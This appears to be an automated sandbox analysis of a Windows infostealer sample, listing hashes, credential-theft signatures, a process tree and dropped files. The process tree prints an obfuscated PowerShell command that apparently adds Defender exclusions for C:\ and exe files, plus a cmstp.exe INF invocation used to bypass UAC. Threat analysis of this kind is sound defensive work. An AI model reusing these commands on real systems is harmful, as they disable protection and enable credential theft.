Analysis

  • max time kernel
    104s
  • max time network
    109s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    09-11-2024 23:55

General

  • Target

    8032da9c35a71beb5a5593ef71b2dfe8d6a7096c5b2a4d5e09e9468a4301c98b.exe

  • Size

    28KB

  • MD5

    fc7028093f5b39048ecff77e49c0da2c

  • SHA1

    d9f1a1e4c77205dc444d47a5ffb37cce725350c5

  • SHA256

    8032da9c35a71beb5a5593ef71b2dfe8d6a7096c5b2a4d5e09e9468a4301c98b

  • SHA512

    260b5e123aff13f0ad6c13fb3536ae9fd4993181c00c85d813f99308ea83530b164a9bd5b4c733bdb1f19d9539b0dd13d2bfa92dbfac1c176e61a72402d8b458

  • SSDEEP

    768:VOsOe+vfOM3ofGgTkqwsWQdNEgfavRVorMB75:VOsOeEO0FraavvT

Malware Config

Signatures

  • Drops startup file 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Obfuscated with Agile.Net obfuscator 1 IoCs

    Detects use of the Agile.Net commercial obfuscator, which is capable of entity renaming and control flow obfuscation.

  • Reads WinSCP keys stored on the system 2 TTPs

    Tries to access WinSCP stored sessions.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 35 IoCs
  • Drops file in System32 directory 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Kills process with taskkill 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\8032da9c35a71beb5a5593ef71b2dfe8d6a7096c5b2a4d5e09e9468a4301c98b.exe
    "C:\Users\Admin\AppData\Local\Temp\8032da9c35a71beb5a5593ef71b2dfe8d6a7096c5b2a4d5e09e9468a4301c98b.exe"
    1⤵
    • Drops startup file
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2220
    • \??\c:\windows\system32\cmstp.exe
      "c:\windows\system32\cmstp.exe" /au C:\Users\Admin\A.inf
      2⤵
        PID:2096
      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Sy.exe
        "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Sy.exe"
        2⤵
        • Executes dropped EXE
        • Accesses Microsoft Outlook profiles
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        • outlook_office_path
        • outlook_win_path
        PID:2900
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -exec bypass [char]46+[char]40+[char]39+[char]123+[char]49+[char]125+[char]123+[char]48+[char]125+[char]123+[char]51+[char]125+[char]123+[char]50+[char]125+[char]39+[char]32+[char]45+[char]102+[char]32+[char]39+[char]100+[char]45+[char]77+[char]39+[char]44+[char]39+[char]65+[char]100+[char]39+[char]44+[char]39+[char]102+[char]101+[char]114+[char]101+[char]110+[char]99+[char]101+[char]39+[char]44+[char]39+[char]112+[char]80+[char]114+[char]101+[char]39+[char]41+[char]32+[char]45+[char]69+[char]120+[char]99+[char]108+[char]117+[char]115+[char]105+[char]111+[char]110+[char]80+[char]97+[char]116+[char]104+[char]32+[char]39+[char]67+[char]58+[char]92+[char]39+[char]59+[char]46+[char]40+[char]39+[char]123+[char]49+[char]125+[char]123+[char]48+[char]125+[char]123+[char]51+[char]125+[char]123+[char]50+[char]125+[char]39+[char]32+[char]45+[char]102+[char]32+[char]39+[char]100+[char]45+[char]77+[char]39+[char]44+[char]39+[char]65+[char]100+[char]39+[char]44+[char]39+[char]102+[char]101+[char]114+[char]101+[char]110+[char]99+[char]101+[char]39+[char]44+[char]39+[char]112+[char]80+[char]114+[char]101+[char]39+[char]41+[char]32+[char]45+[char]69+[char]120+[char]99+[char]108+[char]117+[char]115+[char]105+[char]111+[char]110+[char]69+[char]120+[char]116+[char]101+[char]110+[char]115+[char]105+[char]111+[char]110+[char]32+[char]39+[char]101+[char]120+[char]101+[char]39| .((gV '*mdr*').NAMe[3,11,2]-joIn'')
      1⤵
      • Drops file in System32 directory
      • Suspicious use of AdjustPrivilegeToken
      PID:3032
    • C:\Windows\system32\taskkill.exe
      taskkill /IM cmstp.exe /F
      1⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:2768

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\A.inf

      Filesize

      1KB

      MD5

      961df7710c27cd2a2452c11aa48ada24

      SHA1

      081694e0067918b8355efef2cf72ef52d82e44b0

      SHA256

      d3a48635568ef5d4c0a1c86b3f750f06362056807d39b9461cd053ca88ee7a41

      SHA512

      64f9e3950c01f000e70166c5cb783a0be77249f2c06c99e23a9ab05c6a3a92f18de2478592db3b3dd328c8e5af6abcdcf07c74b63c373b7a24bc336a80503aae

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Sy.exe

      Filesize

      426KB

      MD5

      d00a8f6a66f5fcaf18564b6f47831294

      SHA1

      d1ae07fd6267b53264f1764cc45aafbfe9f5f763

      SHA256

      a60e55b8c66eb98a300d09fbdbe932bdf53476b805f10be02e6a7f2acdee8039

      SHA512

      99937a6e5aeb1248c8c341e43a0747eb98f06f972b559690afa810787173b2eb00ac2b657fd6c82a25630b1a47ab343bbf0b4e7ee250c54e59c95fa7f6f94c27

    • memory/2220-19-0x0000000000360000-0x0000000000368000-memory.dmp

      Filesize

      32KB

    • memory/2220-4-0x000000001C760000-0x000000001CA42000-memory.dmp

      Filesize

      2.9MB

    • memory/2220-0-0x000007FEF5F03000-0x000007FEF5F04000-memory.dmp

      Filesize

      4KB

    • memory/2220-2-0x000007FEF5F00000-0x000007FEF68EC000-memory.dmp

      Filesize

      9.9MB

    • memory/2220-7-0x000007FEF5F00000-0x000007FEF68EC000-memory.dmp

      Filesize

      9.9MB

    • memory/2220-8-0x000007FEF5F00000-0x000007FEF68EC000-memory.dmp

      Filesize

      9.9MB

    • memory/2220-9-0x000007FEF5F00000-0x000007FEF68EC000-memory.dmp

      Filesize

      9.9MB

    • memory/2220-10-0x000007FEF5F00000-0x000007FEF68EC000-memory.dmp

      Filesize

      9.9MB

    • memory/2220-20-0x000007FEF5F03000-0x000007FEF5F04000-memory.dmp

      Filesize

      4KB

    • memory/2220-16-0x0000000000540000-0x000000000055C000-memory.dmp

      Filesize

      112KB

    • memory/2220-28-0x000007FEF5F00000-0x000007FEF68EC000-memory.dmp

      Filesize

      9.9MB

    • memory/2220-3-0x000000001B0C0000-0x000000001B1A0000-memory.dmp

      Filesize

      896KB

    • memory/2220-11-0x000007FEF5F00000-0x000007FEF68EC000-memory.dmp

      Filesize

      9.9MB

    • memory/2220-35-0x000007FEF5F00000-0x000007FEF68EC000-memory.dmp

      Filesize

      9.9MB

    • memory/2220-17-0x000000001ABD0000-0x000000001AC18000-memory.dmp

      Filesize

      288KB

    • memory/2220-22-0x000007FEF5F00000-0x000007FEF68EC000-memory.dmp

      Filesize

      9.9MB

    • memory/2220-23-0x000000001B330000-0x000000001B3D6000-memory.dmp

      Filesize

      664KB

    • memory/2220-24-0x0000000000CC0000-0x0000000000CF4000-memory.dmp

      Filesize

      208KB

    • memory/2220-25-0x000000001AC20000-0x000000001AC6A000-memory.dmp

      Filesize

      296KB

    • memory/2220-26-0x0000000000B20000-0x0000000000B36000-memory.dmp

      Filesize

      88KB

    • memory/2220-27-0x000007FEF5F00000-0x000007FEF68EC000-memory.dmp

      Filesize

      9.9MB

    • memory/2220-1-0x0000000000D00000-0x0000000000D0C000-memory.dmp

      Filesize

      48KB

    • memory/2900-38-0x0000000000BB0000-0x0000000000C46000-memory.dmp

      Filesize

      600KB

    • memory/2900-67-0x0000000000BB0000-0x0000000000C46000-memory.dmp

      Filesize

      600KB

    • memory/2900-36-0x0000000000B40000-0x0000000000BB0000-memory.dmp

      Filesize

      448KB

    • memory/2900-37-0x0000000000BB0000-0x0000000000C4C000-memory.dmp

      Filesize

      624KB

    • memory/2900-41-0x0000000000BB0000-0x0000000000C46000-memory.dmp

      Filesize

      600KB

    • memory/2900-39-0x0000000000BB0000-0x0000000000C46000-memory.dmp

      Filesize

      600KB

    • memory/2900-53-0x0000000000BB0000-0x0000000000C46000-memory.dmp

      Filesize

      600KB

    • memory/2900-71-0x0000000000BB0000-0x0000000000C46000-memory.dmp

      Filesize

      600KB

    • memory/2900-2894-0x0000000004FC0000-0x00000000050B0000-memory.dmp

      Filesize

      960KB

    • memory/2900-51-0x0000000000BB0000-0x0000000000C46000-memory.dmp

      Filesize

      600KB

    • memory/2900-49-0x0000000000BB0000-0x0000000000C46000-memory.dmp

      Filesize

      600KB

    • memory/2900-55-0x0000000000BB0000-0x0000000000C46000-memory.dmp

      Filesize

      600KB

    • memory/2900-57-0x0000000000BB0000-0x0000000000C46000-memory.dmp

      Filesize

      600KB

    • memory/2900-59-0x0000000000BB0000-0x0000000000C46000-memory.dmp

      Filesize

      600KB

    • memory/2900-61-0x0000000000BB0000-0x0000000000C46000-memory.dmp

      Filesize

      600KB

    • memory/2900-47-0x0000000000BB0000-0x0000000000C46000-memory.dmp

      Filesize

      600KB

    • memory/2900-63-0x0000000000BB0000-0x0000000000C46000-memory.dmp

      Filesize

      600KB

    • memory/2900-66-0x0000000000BB0000-0x0000000000C46000-memory.dmp

      Filesize

      600KB

    • memory/2900-45-0x0000000000BB0000-0x0000000000C46000-memory.dmp

      Filesize

      600KB

    • memory/2900-2893-0x0000000002450000-0x000000000249C000-memory.dmp

      Filesize

      304KB

    • memory/2900-69-0x0000000000BB0000-0x0000000000C46000-memory.dmp

      Filesize

      600KB

    • memory/2900-73-0x0000000000BB0000-0x0000000000C46000-memory.dmp

      Filesize

      600KB

    • memory/2900-75-0x0000000000BB0000-0x0000000000C46000-memory.dmp

      Filesize

      600KB

    • memory/2900-43-0x0000000000BB0000-0x0000000000C46000-memory.dmp

      Filesize

      600KB

    • memory/2900-77-0x0000000000BB0000-0x0000000000C46000-memory.dmp

      Filesize

      600KB

    • memory/2900-79-0x0000000000BB0000-0x0000000000C46000-memory.dmp

      Filesize

      600KB

    • memory/2900-81-0x0000000000BB0000-0x0000000000C46000-memory.dmp

      Filesize

      600KB

    • memory/2900-83-0x0000000000BB0000-0x0000000000C46000-memory.dmp

      Filesize

      600KB

    • memory/2900-85-0x0000000000BB0000-0x0000000000C46000-memory.dmp

      Filesize

      600KB

    • memory/2900-87-0x0000000000BB0000-0x0000000000C46000-memory.dmp

      Filesize

      600KB

    • memory/2900-89-0x0000000000BB0000-0x0000000000C46000-memory.dmp

      Filesize

      600KB

    • memory/2900-91-0x0000000000BB0000-0x0000000000C46000-memory.dmp

      Filesize

      600KB

    • memory/2900-93-0x0000000000BB0000-0x0000000000C46000-memory.dmp

      Filesize

      600KB

    • memory/2900-96-0x0000000000BB0000-0x0000000000C46000-memory.dmp

      Filesize

      600KB

    • memory/2900-101-0x0000000000BB0000-0x0000000000C46000-memory.dmp

      Filesize

      600KB

    • memory/2900-99-0x0000000000BB0000-0x0000000000C46000-memory.dmp

      Filesize

      600KB

    • memory/2900-97-0x0000000000BB0000-0x0000000000C46000-memory.dmp

      Filesize

      600KB

    • memory/2900-2892-0x0000000000420000-0x000000000044C000-memory.dmp

      Filesize

      176KB

    • memory/3032-18-0x000000001B290000-0x000000001B572000-memory.dmp

      Filesize

      2.9MB

    • memory/3032-21-0x0000000002490000-0x0000000002498000-memory.dmp

      Filesize

      32KB